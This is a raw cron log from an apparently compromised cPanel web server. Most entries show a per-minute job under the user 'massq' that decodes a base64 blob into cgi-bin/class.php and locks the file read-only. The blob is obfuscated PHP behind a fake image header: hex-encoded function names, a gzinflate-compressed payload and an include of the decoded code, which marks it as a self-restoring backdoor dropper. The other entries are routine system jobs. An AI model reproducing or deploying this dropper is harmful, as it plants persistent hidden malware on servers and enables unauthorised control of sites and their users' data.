Nov 13 02:36:01 server CROND[16192]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:37:01 server CROND[17075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:38:01 server CROND[18045]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:39:01 server CROND[18895]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:39:01 server CROND[18896]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 02:40:01 server CROND[19767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 02:40:01 server CROND[19769]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:40:01 server CROND[19768]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:40:01 server CROND[19770]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 02:41:01 server CROND[20694]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:42:01 server CROND[21556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:42:01 server CROND[21557]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 02:43:01 server CROND[22567]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:44:01 server CROND[23426]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:45:01 server CROND[24235]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:45:01 server CROND[24236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:45:01 server CROND[24234]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 02:46:01 server CROND[25167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:47:01 server CROND[26030]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:47:01 server CROND[26031]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron &gt; /dev/null 2&gt;&amp;1 &gt; /dev/null))
Nov 13 02:47:48 server crontab[26940]: (root) LIST (root)
Nov 13 02:47:48 server crontab[26942]: (root) LIST (root)
Nov 13 02:47:53 server crontab[27117]: (root) LIST (root)
Nov 13 02:48:01 server CROND[27291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
